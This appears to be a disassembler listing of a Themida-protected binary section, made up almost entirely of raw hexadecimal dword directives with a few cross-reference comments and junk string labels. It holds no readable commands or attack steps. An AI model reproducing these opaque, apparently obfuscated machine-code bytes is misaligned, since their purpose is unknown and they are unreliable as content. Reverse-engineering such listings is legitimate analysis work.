dd 1404h, 0C3564600h, 68B0F98h, 9000000h, 351EED9Dh, 6AD1FF09h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0C72C356h, 69883918h, 238C00AAh, 3516959Dh
dd 19BD8309h, 109351Ch, 0E1850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7E9C50C3h
dd 6A026A4Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0EDD5C351h, 0CA761FE0h, 0DE996CAh
dword_58EA80 dd 6000000h, 0A1506E10h, 0CE50B568h, 1AC6B7Bh, 7E890h
; DATA XREF: Themida_:00549FF0o
dd 0CA060000h, 4EBD957Ah, 8B6660CFh, 505F61D8h, 880F60h
dd 0B6000000h, 6A906101h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 27BFC357h, 79947C5Ah
dd 858999E5h, 935244Dh, 115195FFh, 6A0935h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1E5F50C3h
dd 2E359D8Bh, 12E80935h, 11000000h, 0A93F90Bh, 1191C19Fh
dd 3B00397h, 626023DBh, 0E95BF51Ch, 0D3Ch, 0E8h, 0ED815D00h
dd 93A0557h, 22DDBD03h, 0BD8B0935h, 9350039h, 0DE9h, 0E203A900h
dd 5C8DDC7Ch, 344EC062h, 890F5194h, 0Ch, 68A0Fh, 0F3810000h
dd 38A66780h, 932B858Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 50FB9CC3h, 310F5250h
dd 8E9EBF66h, 489585Ah, 64DE8B24h, 35FFh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0D977CBC3h, 0EC9182D3h, 0FA8B522Eh, 2589645Bh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EAC35141h
dd 300985FFh, 860F0935h, 2, 0B70FDA8Bh, 8BFF6ADAh, 351B39BDh
dd 0F1BD8B09h, 0FF093532h, 350A69B5h, 0FFF88B09h, 352EB995h
dd 107E909h, 8B660000h, 6600B0FEh, 70E6FE8Bh, 6181BF66h
dd 8B5371E4h, 352A65BDh, 613C5F09h, 0E7830Fh, 0BD8B0000h
dd 9352409h, 11598589h, 0B60F0935h, 0BE9C8h, 55700000h
dd 0E758C953h, 84D7893h, 6BAEAh, 8D0F0000h, 6, 2CCD8D29h
dd 0C18B0935h, 0FD19D8Bh, 0E8C10935h, 3DB58904h, 66093504h
dd 0C82BE2F7h, 0EADB8166h, 89D18B05h, 352D2DBDh, 0A3C38109h
dd 0E936704Dh, 89h, 8442EF81h, 8B664CC0h, 50858BF9h, 0F47554Ch
dd 0C083DAB7h, 2D9D8B07h, 8B09352Dh, 350D319Dh, 0C08309h
dd 5850Fh, 3EBB0000h, 0F41E7DAh, 0D03BDEBFh, 1B830Fh, 5E90000h
dd 0
a1zS@ db 'р1╖щИ@',0
align 4
dd 39B58900h, 29093511h, 351BA18Dh, 0FF8D8B09h, 89FFFFFFh
dd 350DADB5h, 1E18309h, 1F840Fh, 0BFBB0000h, 837CD09Dh
dd 0FFFFFFA5h, 0DF8BFEFFh, 4C509589h, 0BD8B4755h, 9351B7Dh
dd 0E9h, 7B58D00h, 6A09397Ch, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 3B28C356h, 3F909495h
dd 0E9E086AAh, 6, 0F6F63540h, 6A0331h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 20C35747h, 820F4974h, 0Bh
dd 0F78B6660h, 22B9BD89h, 0FF610935h, 35082995h, 10A7B909h
dd 8B660000h, 0FCE183DFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0B3C35646h, 0B6ECD9D6h, 535007F0h, 0E9BCC781h
dd 0E95F1590h, 0Dh, 8CBF4C1h, 32D78B28h, 56CC8DCCh, 14E9FDh
dd 0F16D0000h, 0FA428362h, 74E3328Ch, 2C42B542h, 0A8F3E4BFh
dd 31FC5F1Eh, 3508998Dh, 6AC02B09h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 8FE0C356h
dd 54FDB0BDh, 23FD9D8Bh, 0BA0935h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0A2F4C351h, 899504D0h, 352951BDh, 18D0F09h, 0F9000000h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 9E9h, 0F669FC00h
dd 57C56BF2h, 9D0BE3EEh, 9352C6Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 11C35141h, 0D3B5901h, 88h
dd 1629958Bh, 8B660935h, 7D8D8BFBh, 6A093528h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 85F4C353h, 830FA1B1h, 5, 5C751BBFh, 0C28B5051h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 177AD781h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EEC35040h, 0AC2A32FDh
dd 9CAD6136h, 11952925h, 8309350Fh, 351249BDh, 840F0009h
dd 9Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
dd 7EC35747h, 0B5295753h, 9350CB9h, 0B85Fh, 31520000h
dd 352DFDBDh, 8D8D5B09h, 9354C02h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 2AC35545h, 0AA73342Bh, 0FFFB8B72h
dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 7F78059Ch, 0BD8B93BBh, 93515FDh, 0EE8h
dd 0C6B1B00h, 5B59703h, 0A68B4967h, 8B8452F3h, 351B059Dh
dd 0BD835B09h, 9352255h, 16840F00h, 6A000004h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 3D63C353h, 2D2D9D8Bh, 0BD830935h, 9352255h, 1840F01h
dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 332FC350h, 8501EF5Eh, 93500F1h
dd 2255BD83h, 0F030935h, 39986h, 959D8B00h, 6009352Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 13C35242h
dd 12C59589h, 8C660935h, 0BBF88BD9h, 1E226AD8h, 6A04E180h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 6636C355h, 0ACD9BBFh, 0FB840FC9h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 6B1BC351h, 0B597030Ch, 9D896705h, 935268Dh
dd 2B61858Bh, 95890935h, 9352875h, 0D7D8533h, 81660935h
dd 661EFFDFh, 50DB2BBFh, 128D77BFh, 24048915h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0AAC35343h, 8B667A2Fh
dd 0BF006AD9h, 2D1121Eh, 4E8h, 1F03FF00h, 8B665200h, 8B505BDFh
dd 0E9042444h, 0Fh, 350F7F6Ch, 4CD059Bh, 0EA781AB0h, 8BA2E360h
dd 6E800h, 0ADBC0000h, 5F0422C9h, 2444895Fh, 95FF5804h
dd 9350CDDh, 0B76F8589h, 13E90938h, 3A000000h, 0FAB657Ah
dd 1F436DA1h, 49BFA773h, 8BD3B033h, 0ABE9B7D0h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 75B6C352h, 0F799D8Bh, 858B0935h, 938B767h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F4C35242h
dd 9B57A862h, 0B858A47Fh, 1681BD89h, 8E0F0935h, 15h, 0F8D0Fh
dd 9E80000h, 34000000h, 98405E2Ah, 92A0E23Fh, 1800C75Bh
dd 66000000h, 8B486CBFh, 38B76BB5h, 5FA5BB09h, 9D8B57C3h
dd 9350C51h, 24D5858Bh, 0BB660935h, 68993B1h, 8B0BB460h
dd 352D119Dh, 858B6109h, 9352B61h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 46C35040h, 72E251FBh, 0EB4883F0h
dd 9EB0BBBh, 446891Bh, 5FC38166h, 52505010h, 585A310Fh
dd 6A243489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 8343C356h, 73D6BD6Dh, 5FA3324Ch
dd 33419D8Bh, 0B5FF0935h, 938B767h, 8E0FF860h, 6, 820Fh
dd 68610000h, 0E027878Bh, 950BBB66h, 74240481h, 0E91FF77Ch
dd 5, 71522E0Ah, 0DE80Fh, 60A0000h, 0F0B9F112h, 2EBBCCC0h
dd 605C94B1h, 820F6160h, 0
dd 858D5F61h, 938B76Fh, 0EB4256BBh, 0BF515016h, 683C7709h
dd 2404895Bh, 0FFFEB70Fh, 350CDD95h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0B50EE8DBh
dd 0E8248726h, 8, 0CAB5DA51h, 7E3D0FF7h, 0BB665FF8h, 6A619913h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 9716C356h, 5FC523EEh, 8166A77Dh, 52C1F0F7h
dd 2785B589h, 0C75B0935h, 35225585h, 309h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0E6D034AAh, 8D8B6060h, 9350351h, 161F78Ah, 352D598Dh
dd 0BD836109h, 938B76Fh, 3F840F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0F71CC357h, 37E9C1h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 3050E6C3h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 66DB989Ch, 29C6A624h, 3506BDB5h, 55BD8909h, 0E9093512h
dd 12h, 46A9D34h, 4FC49FE7h, 2BE86E38h, 0BA805F72h, 0BD835B6Ah
dd 9352255h, 0DD850F03h, 6A000003h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 515CC351h
dd 9CFEBFDDh, 0BD834637h, 938B76Fh, 0AD840F00h, 0F000003h
dd 89h, 6FB5FF00h, 0F0938B7h, 95FFFBB7h, 9352E11h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 63C35747h, 67E99D6Dh
dd 63B58B7Dh, 8B0938B7h, 106C7F9h, 6A000100h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 3F19C350h, 6810FBDh, 81000000h, 0C49DD0D3h, 0CE954h
dd 0D2850000h, 0F2A750C4h, 0BD8207B2h, 0E9968745h, 14h
dd 0B2AA33BBh, 73206B6Fh, 142ACA56h, 5ABC386Dh, 0E80BBA83h
dd 8B665650h, 66965FF9h, 6A84C381h, 0B76FB5FFh, 0B70F0938h
dd 8995FFDBh, 6A093502h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 2D8AC357h, 993A3745h
dd 63B58B67h, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0BB04C355h, 0E91A63A6h
dd 11h, 8970DA4Ah, 0FF3BDA17h, 0E9B009D5h, 0B0C5AA3Ch
dd 99858BD5h, 0F09350Eh, 589h, 0E3816600h, 8689F8D9h, 0C4h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D3C35141h
dd 8D898C03h, 93512A1h, 8BFFBF0Fh, 35162995h, 53006A09h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 832FA93Ch, 838F1139h, 0BD8B04C2h, 9350481h, 0E8205089h
dd 9, 0ED3B2063h, 1F745EF6h, 3DDB81BAh, 5F4A5782h, 0CC07858Dh
dd 0BD8B0938h, 9352DF5h, 0B88689h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0DC85E1C3h
dd 92CF424h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0FE05F2C3h, 0E6D53ACBh, 0AE9h, 9911BB00h
dd 74129B8Ch, 0FF84B8F3h, 38B76FB5h, 15D78009h, 115195FFh
dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 205336C3h, 0AE94F8Bh, 1E000000h, 0DACEC152h
dd 75AF147Ch, 4870FA4h, 66000000h, 5094DABFh, 3489DE8Bh
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0F87BC5F7h, 0FF91AB57h, 38B76FB5h, 95BD0109h
dd 0FF093501h, 350B5595h, 71F38009h, 79BD83h, 0F000935h
dd 2584h, 0C99D8900h, 50093511h, 11E9h, 93097600h, 3C45905Ah
dd 0F32575E6h, 2013E51Bh, 3489674Bh, 0F8535624h, 0B5FF5B5Fh
dd 938B76Fh, 391BD8Bh, 95FF0935h, 9351C35h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h, 0A5BD8B50h
dd 5B093510h, 0BF66F98Bh, 0B5FFD6ACh, 938B76Fh, 2411B589h
dd 95FF0935h, 9352CE5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 4AC35040h, 0BD89D402h, 9351DC1h, 26BDBD83h
dd 0F020935h, 6784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 18B6E4D4h, 664E27B3h
dd 8BB9C9BFh, 3526AD85h, 5E809h, 36880000h, 0BFEE5015h
dd 6DEC8C7Ch, 0C65Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 23C35040h, 58D0FC4h, 0BF000000h, 627A6E4Eh
dd 326585C7h, 935h, 0B5010000h, 93503BDh, 0FFF3B0E9h, 898589FFh
dd 6009352Eh, 1D1BF0Fh, 350509B5h, 0C18B6109h, 0C58D8952h
dd 5F093511h, 2659858Dh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 10F687C3h, 6F1D5A7Eh
dd 24048950h, 6AF98B66h, 8F81BB00h, 6A3EF8h, 142F858Dh
dd 6A093Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0BD8BBDC3h, 93505A1h, 28A0Fh, 0FA8A0000h
dd 8B05C083h, 353049BDh, 8E99009h, 84000000h, 796D2728h
dd 505D56ECh, 7E9h, 4FB83400h, 8C07CCECh, 0CDBD3390h, 6A09350Bh
dd 91BF6600h, 6A006A21h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 13E5C352h, 9D8B4B20h
dd 93516B5h, 33195FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 39A844C3h, 6E9h, 625DE400h
dd 297C37F7h, 352DF58Dh, 0AB8D8D09h, 8B09389Ah, 350825BDh
dd 66D1FF09h, 834553BBh, 351C19BDh, 850F0109h, 8Dh, 0A387CF81h
dd 26A465Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 16C35141h, 56E10FEBh, 69B589F8h, 50093503h, 28A0F52h
dd 51000000h, 4895F5Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 95FF50BDh, 9351151h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 12C35343h, 0DDAD28DAh
dd 6DBD8B02h, 6609352Bh, 7506D781h, 0E5BE9F9h, 0E80000h
dd 5D000000h, 1439ED81h, 6A093Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 42B20FC3h, 95892593h
dd 9352581h, 0DE9h, 6914B600h, 7DE3717Eh, 19419603h, 858D1B62h
dd 938932Bh, 0FB8B90F5h, 6E950h, 0F26B0000h, 3FE6964Eh
dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 6853BEA2h, 5A2A1807h, 13810F21h, 0E9000000h
dd 0Eh, 465A9148h, 0B59C1D89h, 6CE8597Ch, 0FF648805h, 35h
dd 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 22BCE094h
dd 0BD3324F9h, 8166E6CCh, 646092D7h, 2589h, 85FF0000h
dd 9353009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 3FC35343h, 125BE367h, 0F7816634h, 0BD8B3F11h, 93504ADh
dd 0BF66FF6Ah, 0B5FF0ADAh, 935331Dh, 13E8h, 0D9059F00h
dd 0A49C36F1h, 3321FFE7h, 3C2E0C28h, 8864E881h, 10E9h
dd 0B0425100h, 81E395A8h, 72B95345h, 465D2035h, 95FF5B0Ah
dd 9352EB9h, 133E9h, 5E900h, 6BCC0000h, 0B004610Fh, 3BCF8000h
dd 666070E6h, 0CC4EC681h, 11E8h, 0CD2D4200h, 3940459Ch
dd 6DA043A0h, 0D9C67D0Ch, 8B6665BCh, 0E46158C1h, 8197BB71h
dd 613C367Eh, 0F2830Fh, 11E90000h, 0AC000000h, 4E436640h
dd 0CE6E66B5h, 59BA19A9h, 2872CA8Eh, 66C8B60Fh, 0C6F2F381h
dd 6BAh, 5E900h, 682E0000h, 0F8AAA518h, 9D33C18Bh, 9351241h
dd 5604E8C1h, 228D8589h, 665B0935h, 8B66E2F7h, 0AABF66D8h
dd 51C82B74h, 8B5FF98Bh, 0D59D8BD1h, 89093506h, 35305D85h
dd 8EE909h, 858B0000h, 44004E49h, 14E9h, 0D1580300h, 978FDAD3h
dd 0E0623C61h, 0BD284ABAh, 0A83DE9E3h, 68B0F38h, 3000000h
dd 350D2D9Dh, 7C08309h, 32018D89h, 0C0830935h, 10E900h
dd 0C9820000h, 0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 0D03B3BBDh
dd 0A830Fh, 8B660000h, 32E9FAh, 0DA8B0000h, 0FFFF8D8Bh
dd 0E183FFFFh, 21840F01h, 1000000h, 35229D85h, 0FAB70F09h
dd 0FFFFA583h, 29FEFFFFh, 350D6D85h, 49958909h, 0E944004Eh
dd 0
aNT9J db '█╣~▓9',9,'j',0
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 24F01DC3h, 60B65FB8h, 6840Fh, 0BD890000h, 9351C05h
dd 254DB58Bh, 6A610935h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 26034DB5h, 967836F5h
dd 9D8B2A58h, 9350D2Dh, 82995FFh, 6A0935h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 2B811C3h
dd 0B89B42EAh, 2B58589h, 0E8B90935h, 6A00000Eh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 7417C356h, 806756A6h, 81665660h, 58A603E1h, 268D958Bh
dd 83610935h, 66FCFCE1h, 0B86D9FBFh, 0
dd 4A5BD01h, 0BA0935h, 8B000000h, 0C233ADD9h, 0D003E8D1h
dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 0EB614CD8h, 0D357D0h, 56BB4E5Fh
dd 6A5FDAC6h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0CFDBC350h, 0AE8h, 2A4D9200h
dd 8A47AB3Dh, 8B9356CAh, 35043D9Dh, 880D5B09h, 66000000h
dd 8B5028BFh, 35162995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 17F9C712h, 8B83EB0Ah
dd 35287D8Dh, 71DF8109h, 505C1737h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 0DD8D8958h, 5309352Ch, 5FFFB70Fh
dd 1249BD83h, 0F000935h, 6A84h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D8BAB49h
dd 9351261h, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 57FC4A36h, 1525DF5Fh
dd 8D5FFC50h, 354C028Dh, 5E909h, 0ABBD0000h, 0BFC3F8C7h
dd 7E9A7705h, 0FA8BE1FFh, 8365C380h, 352255BDh, 840F0009h
dd 495h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 83C35545h, 0F699CB73h, 837ECAA2h, 352255BDh, 840F0109h
dd 480h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 31C35040h, 0A43C2397h, 46BFC287h, 833E680Eh, 352255BDh
dd 860F0309h, 416h, 2E18D29h, 6A600935h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 35CFC353h
dd 556FBC5Bh, 0EC6D80A8h, 0E9858B60h, 8909351Ah, 35060D8Dh
dd 8C666109h, 3D9D8BD9h, 80093523h, 6A04E1h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 23FD39C3h
dd 319D2B62h, 66093522h, 9BB9DB81h, 840FC90Ah, 15Bh, 0FE8h
dd 48AD9500h, 0F901B165h, 7F1A41F9h, 3F0F2EDh, 800F50h
dd 5B000000h, 61858B5Fh, 6A09352Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 4BC9C355h
dd 161D8B3Eh, 33D460E5h, 350D7D85h, 57006A09h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 5019D9DDh
dd 6A20BB66h, 0BE9905Bh, 0AC000000h, 317D19F2h, 96F0BF58h
dd 0E95006A0h, 0Ah, 96EDDBB5h, 0CDE301FBh, 6A90BB82h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0B7CAC353h, 9D89B126h, 9352E55h, 0E781006Ah, 4BD1AF17h
dd 17182168h, 5B565154h, 2434815Fh, 54081BDEh, 2D05BD09h
dd 8B0F0935h, 3, 0FFDEB70Fh, 350CDD95h, 57006A09h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 4D34EDA1h, 464AE381h, 85891AF7h, 938B76Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B4C35040h, 0ADE976BBh
dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0F22C357h, 680h, 0A59D3300h, 8B09350Fh
dd 38B76785h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 722AE0F2h, 0B880Fh, 0BE600000h, 12F4A2FFh
dd 9BE2B866h, 1800C761h, 8B000000h, 3507F9BDh, 298D8909h
dd 8B093527h, 38B76BB5h, 0C19D8B09h, 8B093524h, 3524D585h
dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0E11B67Fh, 89F9E7DCh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 4B467C0Ch
dd 274C561Dh, 4D8D8941h, 8B09351Bh, 352B6185h, 9BBB5609h
dd 5F659559h, 6A044689h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0A2A5C351h, 31C5B557h
dd 527E21B0h, 46C78166h, 60965BE0h, 0FB59BA66h, 820Fh
dd 50610000h, 5B5B5657h, 0F8BF6696h, 67B5FF3Eh, 6A0938B7h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 1A69C357h, 0D99D8B97h, 89093502h, 35161D95h
dd 0CB616809h, 68B7006Dh, 9E243481h, 6A0072C8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 8B9AC350h, 69BD8BD8h, 8D093504h, 38B76F85h, 0D5958909h
dd 50093512h, 4895B52h, 0ABC78124h, 891BD5E9h, 352B859Dh
dd 0DD95FF09h, 6609350Ch, 91FCCF81h, 52006A61h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0F37BF6F0h
dd 0E89AD391h, 2F81BD8Bh, 85C70935h, 9352255h, 3, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DEC35646h, 2C5C17EBh
dd 66E85691h, 830AB2BBh, 38B76FBDh, 840F0009h, 56h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A6C35747h, 0DC9593B2h
dd 0BD332654h, 93502F9h, 44E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0F141BEA0h
dd 0C89D328Eh, 0FBB70F84h, 3050FA8Bh, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 850360C0h, 9352859h
dd 2DA199BAh, 81666117h, 83911DEFh, 352255BDh, 850F0309h
dd 476h, 0B76FBD83h, 0F000938h, 46984h, 19BD8B00h, 0FF09352Fh
dd 38B76FB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 5B3B601h, 8B2D3E95h, 352E099Dh, 0A3D78009h
dd 2E1195FFh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0AB18CC3h, 8BC9B765h, 38B763B5h
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 2673F002h, 622A70E5h, 12E84Eh, 590A0000h
dd 9F25893Eh, 14E2AB72h, 703FB6E5h, 0D8C542E4h, 0C75B44B7h
dd 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0B652650Bh, 34B2C1CEh, 89604FB8h
dd 352E6595h, 0D1BD0109h, 6109352Ah, 11E996h, 172D0000h
dd 0A4968C1Eh, 9DA11F41h, 0A5D573B5h, 50FFFF45h, 0C5B58996h
dd 0FF09350Eh, 38B76FB5h, 69BD8B09h, 0FF093503h, 35028995h
dd 46BB6609h, 63B58B3Ch, 6A0938B7h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7545C355h
dd 0F3B4BAC2h, 3A7BEF81h, 858B40BCh, 9350E99h, 89FBB70Fh
db 86h
byte_5904E9 db 0C4h, 2 dup(0) ; DATA XREF: Themida_:0055CEC4o
dd 958BF900h, 9351629h, 2E91BD8Bh, 0C2830935h, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0E8ACBEC5h, 8, 6B9EFE0Eh, 59B7F301h, 0CA84BF66h, 0FBBF0F5Fh
dd 8D205089h, 38CC0785h, 50006A09h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 47699FE2h, 8D9D2368h
dd 89093531h, 0B886h, 0F7816600h, 6A8FC5h, 0B76FB5FFh
dd 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0C6E795C3h, 73C3FA63h, 890F308Bh, 6, 1DADBD89h
dd 95FF0935h, 9351151h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 63C35040h, 993E69D4h, 50964CA3h, 56BF6652h
dd 60310FB4h, 9E9h, 57830D00h, 38CECF0Ch, 0BE9B3E7h, 9F000000h
dd 7D95BAADh, 0BD588FD5h, 5A61A6D3h, 8BB5058h, 964072CCh
dd 0B76FB5FFh, 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 464878C3h, 4C40120Fh, 9D8B30E9h
dd 93512A1h, 0B5595FFh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0FBBE7AC3h, 0C78166A9h
dd 0BD837A48h, 9350079h, 88840F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 0BF4EC357h, 0B20D0DD6h, 0ABB8A048h, 0F3BF0F60h, 11E9h
dd 22174100h, 75798492h, 862546CEh, 0FB8101A9h, 89615B2Ah
dd 35234195h, 11E85009h, 2E000000h, 23B5CD1Ch, 0A179989Ah
dd 43B27637h, 21409D3Ah, 0F88B6653h, 34895B5Bh, 51006A24h
